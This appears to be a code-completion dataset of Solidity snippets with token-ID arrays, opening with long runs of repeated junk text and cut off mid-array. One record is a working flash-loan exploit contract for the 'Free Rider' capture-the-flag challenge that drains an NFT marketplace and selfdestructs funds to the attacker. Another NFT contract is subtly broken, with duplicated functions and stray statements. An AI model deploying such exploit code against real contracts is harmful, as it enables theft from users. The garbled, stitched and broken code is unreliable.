cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RX
cAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RXcAIYFOBUSLFSKJE TUVPBI23RX
function decimals() public view returns (uint8) {
return _decimals;
}
uint256[50] private ______gap;
}
| 16,032,655 | [
1,
6542,
4186,
628,
326,
4232,
39,
3462,
4529,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
16351,
4232,
39,
3462,
40,
6372,
353,
10188,
6934,
16,
467,
654,
39,
3462,
288,
203,
565,
533,
3238,
389,
529,
31,
203,
565,
533,
3238,
389,
7175,
31,
203,
565,
2254,
28,
3238,
389,
31734,
31,
203,
203,
565,
445,
4046,
12,
1080,
3778,
508,
16,
533,
3778,
3273,
16,
2254,
28,
15105,
13,
1071,
12562,
288,
203,
3639,
389,
529,
273,
508,
31,
203,
3639,
389,
7175,
273,
3273,
31,
203,
3639,
389,
31734,
273,
15105,
31,
203,
565,
289,
203,
203,
565,
445,
508,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
529,
31,
203,
565,
289,
203,
203,
565,
445,
3273,
1435,
1071,
1476,
1135,
261,
1080,
3778,
13,
288,
203,
3639,
327,
389,
7175,
31,
203,
565,
289,
203,
203,
1377,
203,
377,
276,
18194,
61,
3313,
3000,
4559,
4931,
47,
30781,
399,
20147,
20724,
45,
4366,
54,
60,
203,
377,
276,
18194,
61,
3313,
3000,
4559,
4931,
47,
30781,
399,
20147,
20724,
45,
4366,
54,
60,
203,
377,
276,
18194,
61,
3313,
3000,
4559,
4931,
47,
30781,
399,
20147,
20724,
45,
4366,
54,
60,
71,
18194,
61,
3313,
3000,
4559,
4931,
47,
30781,
399,
20147,
20724,
45,
4366,
54,
60,
71,
18194,
61,
3313,
3000,
4559,
4931,
47,
30781,
399,
20147,
20724,
45,
4366,
54,
60,
203,
377,
276,
18194,
61,
3313,
3000,
4559,
4931,
47,
30781,
399,
20147,
20724,
45,
4366,
54,
60,
203,
377,
276,
18194,
61,
3313,
3000,
4559,
4931,
47,
30781,
399,
20147,
20724,
45,
4366,
54,
60,
203,
2
]
|
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface IFreeRiderNFTMarketplace {
function buyMany(uint256[] calldata tokenIds) external payable;
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices)
external;
}
interface IUniswapPair {
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function token0() external returns (address);
}
interface IERC721 {
function balanceOf(address owner) external view returns (uint256);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
}
interface IWETH {
function deposit() external payable;
function withdraw(uint256 wad) external;
function transfer(address to, uint256 amount) external returns (bool);
function balanceOf(address to) external returns (uint256);
}
contract FreeRiderChallenge {
IFreeRiderNFTMarketplace marketplace;
IERC721 nft;
IUniswapPair pair;
IWETH weth;
constructor(
address _marketplace,
address _nft,
address _pair,
address _weth
) {
marketplace = IFreeRiderNFTMarketplace(_marketplace);
nft = IERC721(_nft);
pair = IUniswapPair(_pair);
weth = IWETH(_weth);
}
receive() external payable {}
function attack(
address _buyer,
address _token,
uint256 _nftPrice,
uint256[] calldata _tokenIds
) external payable {
address token0 = pair.token0();
uint256 amount0Out = token0 == address(_token) ? 0 : _nftPrice;
uint256 amount1Out = token0 == address(_token) ? _nftPrice : 0;
// data parameter is required to be non-empty for flashloan from uniswap
bytes memory data = abi.encode(_tokenIds);
// take flashloan equal to nftPrice
pair.swap(amount0Out, amount1Out, address(this), data);
// transfer all nfts to buyer
for (uint256 i = 0; i < 6; i++) {
nft.safeTransferFrom(address(this), _buyer, i);
}
selfdestruct(payable(msg.sender)); // send all eth to attacker, and selfdestruct
}
// callback function when taking flashloan from uniswap
function uniswapV2Call(
address sender,
uint256 amount0Out,
uint256 amount1Out,
bytes calldata data
) external {
uint256 amount = amount0Out == 0 ? amount1Out : amount0Out;
uint256 amountToSend = (amount * 1004) / 1000;
uint256[] memory tokenIds = abi.decode(data, (uint256[]));
weth.withdraw(amount);
marketplace.buyMany{value: amount}(tokenIds); // buy nfts from marketplace
// lines 104 - 115: clearing out the remaining funds from marketplace contract
uint256[] memory tokenIdOffer = new uint256[](2);
uint256[] memory tokenPricesOffer = new uint256[](2);
tokenIdOffer[0] = 0;
tokenIdOffer[1] = 1;
tokenPricesOffer[0] = 15 ether;
tokenPricesOffer[1] = 15 ether;
nft.approve(address(marketplace), tokenIdOffer[0]);
nft.approve(address(marketplace), tokenIdOffer[1]);
marketplace.offerMany(tokenIdOffer, tokenPricesOffer);
marketplace.buyMany{value: 15 ether}(tokenIdOffer);
weth.deposit{value: amountToSend}();
weth.transfer(msg.sender, amountToSend); // repay flashloan amount
}
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4) {
return this.onERC721Received.selector;
}
}
| buy nfts from marketplace
| marketplace.buyMany{value: amount}(tokenIds); | 5,438,203 | [
1,
70,
9835,
290,
1222,
87,
628,
29917,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
3639,
29917,
18,
70,
9835,
5594,
95,
1132,
30,
3844,
97,
12,
2316,
2673,
1769,
225,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/42/0x28F81541D2b0E705Cb2529Ee8F0493a510906F5f/sources/kage/SafeERC20.sol | * @title SafeERC20 @dev Wrappers around ERC20 operations that throw on failure. To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, which allows you to call the safe operations as `token.safeTransfer(...)`, etc./ | library SafeERC20 {
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
require(token.approve(spender, value));
}
} | 16,234,856 | [
1,
9890,
654,
39,
3462,
225,
4266,
10422,
6740,
4232,
39,
3462,
5295,
716,
604,
603,
5166,
18,
2974,
999,
333,
5313,
1846,
848,
527,
279,
1375,
9940,
14060,
654,
39,
3462,
364,
4232,
39,
3462,
31,
68,
3021,
358,
3433,
6835,
16,
1492,
5360,
1846,
358,
745,
326,
4183,
5295,
487,
1375,
2316,
18,
4626,
5912,
5825,
13,
9191,
5527,
18,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
12083,
14060,
654,
39,
3462,
288,
203,
225,
445,
4183,
5912,
12,
203,
565,
467,
654,
39,
3462,
1147,
16,
203,
565,
1758,
358,
16,
203,
565,
2254,
5034,
460,
203,
225,
262,
203,
565,
2713,
203,
225,
288,
203,
565,
2583,
12,
2316,
18,
13866,
12,
869,
16,
460,
10019,
203,
225,
289,
203,
203,
225,
445,
4183,
5912,
1265,
12,
203,
565,
467,
654,
39,
3462,
1147,
16,
203,
565,
1758,
628,
16,
203,
565,
1758,
358,
16,
203,
565,
2254,
5034,
460,
203,
225,
262,
203,
565,
2713,
203,
225,
288,
203,
565,
2583,
12,
2316,
18,
13866,
1265,
12,
2080,
16,
358,
16,
460,
10019,
203,
225,
289,
203,
203,
225,
445,
4183,
12053,
537,
12,
203,
565,
467,
654,
39,
3462,
1147,
16,
203,
565,
1758,
17571,
264,
16,
203,
565,
2254,
5034,
460,
203,
225,
262,
203,
565,
2713,
203,
225,
288,
203,
565,
2583,
12,
2316,
18,
12908,
537,
12,
87,
1302,
264,
16,
460,
10019,
203,
225,
289,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./partial_match/42/0x8292cB5A042C0d2B632F608960f92fFEcC1215D0/sources/Love_Swap_V2.sol | WBTC->WETH on Uniswap | uint256 wbtcBalance = IERC20(WBTCAddress).balanceOf(address(this));
| 3,403,678 | [
1,
59,
38,
15988,
2122,
59,
1584,
44,
603,
1351,
291,
91,
438,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
5411,
2254,
5034,
17298,
5111,
13937,
273,
467,
654,
39,
3462,
12,
59,
38,
15988,
1887,
2934,
12296,
951,
12,
2867,
12,
2211,
10019,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
]
|
./full_match/5/0xf277dBdd00BDE815c983292C162ea7647E3a330d/sources/contracts/Contract.sol | deploy smart contract, toggle WL, toggle WL when done, toggle publicSale2 days later toggle reveal | contract ERC721ADropsModified is ERC721A, Ownable, BatchMintMetadata, ContractMetadata {
using Strings for uint256;
uint256 public maxSupply;
uint256 public maxMint;
uint256 public publicSalePrice;
string private baseTokenUri;
string public placeholderTokenUri;
bool public isRevealed;
bool public publicSale;
bool public pause;
bool public teamMinted;
mapping(address => uint256) public totalPublicMint;
constructor(
string memory _name,
string memory _symbol,
string memory _baseTokenUri,
string memory _placeholderTokenUri,
address _royaltyRecipient,
uint128 _royaltyBps,
uint256 _maxSupply,
uint256 _maxMint,
uint256 _publicSalePrice
) ERC721A(_name, _symbol) {
baseTokenUri = _baseTokenUri;
placeholderTokenUri = _placeholderTokenUri;
_royaltyRecipient = _royaltyRecipient;
_royaltyBps = _royaltyBps;
maxSupply = _maxSupply;
maxMint = _maxMint;
publicSalePrice = _publicSalePrice;
}
modifier callerIsUser() {
require(tx.origin == msg.sender, "caller must be user");
_;
}
function mint(uint256 _quantity) external payable callerIsUser{
require(publicSale, "Sale is closed");
totalPublicMint[msg.sender] += _quantity;
_safeMint(msg.sender, _quantity);
}
function teamMint() external onlyOwner{
require(!teamMinted, "");
teamMinted = true;
_safeMint(msg.sender, 666);
}
function _baseURI() internal view virtual override returns (string memory) {
return baseTokenUri;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
uint256 trueId = tokenId + 1;
if(!isRevealed){
return placeholderTokenUri;
}
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
uint256 trueId = tokenId + 1;
if(!isRevealed){
return placeholderTokenUri;
}
}
return bytes(baseTokenUri).length > 0 ? string(abi.encodePacked(baseTokenUri, trueId.toString(), ".json")) : "";
function setBaseURI(string memory _baseTokenUri) external onlyOwner {
baseTokenUri = _baseTokenUri;
}
function setPlaceholderURI(string memory _placeholderTokenUri) external onlyOwner {
placeholderTokenUri = _placeholderTokenUri;
}
function setPublicSalePrice(uint256 _publicSalePrice) external onlyOwner {
publicSalePrice = _publicSalePrice;
}
function setMaxMint(uint256 _maxMint) external onlyOwner {
maxMint = _maxMint;
}
function setMaxSupply(uint256 _maxSupply) external onlyOwner {
maxSupply = _maxSupply;
}
function setPause(bool _pause) external onlyOwner {
pause = _pause;
}
function setPublicSale(bool _publicSale) external onlyOwner {
publicSale = _publicSale;
}
function setReveal(bool _isRevealed) external onlyOwner {
isRevealed = _isRevealed;
}
function burn(uint256 _tokenId) external virtual {
_burn(_tokenId, true);
}
function walletOf() external view returns(uint256[] memory){
address _owner = msg.sender;
uint256 numberOfOwnedNFT = balanceOf(_owner);
uint256[] memory ownerIds = new uint256[](numberOfOwnedNFT);
return ownerIds;
}
for(uint256 index = 0; index < numberOfOwnedNFT; index++){}
function togglePause() external onlyOwner{
pause = !pause;
}
function togglePublicSale() external onlyOwner{
publicSale = !publicSale;
}
function toggleReveal() external onlyOwner{
isRevealed = !isRevealed;
}
function _canSetContractURI() internal view virtual override returns (bool) {
return msg.sender == owner();
}
function _canSetRoyaltyInfo() internal view virtual returns (bool) {
return msg.sender == owner();
}
function withdraw() external onlyOwner{
uint256 withdrawAmount_100 = address(this).balance * 100/100;
payable(0x366159340Ee4Cf5F4475cdDF0E17ED525B2d8F7C).transfer(withdrawAmount_100);
payable(msg.sender).transfer(address(this).balance);
}
} | 11,589,427 | [
1,
12411,
13706,
6835,
16,
10486,
678,
48,
16,
10486,
678,
48,
1347,
2731,
16,
10486,
1071,
30746,
22,
4681,
5137,
10486,
283,
24293,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
]
| [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
